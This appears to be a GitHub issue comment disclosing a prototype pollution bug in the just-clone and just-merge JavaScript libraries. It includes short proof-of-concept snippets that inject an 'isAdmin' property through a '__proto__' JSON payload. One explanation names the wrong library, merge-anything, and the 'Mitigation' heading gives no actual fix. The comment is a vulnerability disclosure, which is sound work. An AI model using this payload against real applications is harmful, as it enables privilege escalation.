Open xclow3n opened 3 months ago
just-clone
is also vulnerable to same thing
import clone from 'just-clone';
var obj = JSON.parse('{"__proto__":{"isAdmin":true}}');
var objClone = clone(obj);
console.log(objClone.isAdmin)
just-merge poc
var payload = JSON.parse('{"__proto__":{"isAdmin":true}}');
import merge from 'just-merge';
const extended = merge({}, payload);
console.log(extended.isAdmin)
POC:
This code demonstrates how prototype poisoning can occur by merging an object containing a proto property with default permissions using the merge-anything library. The isAdmin property is injected into the object's prototype.
Mitigation
Since this library has a lot of weekly downloads so there might multiple use cases that might be effected by this bug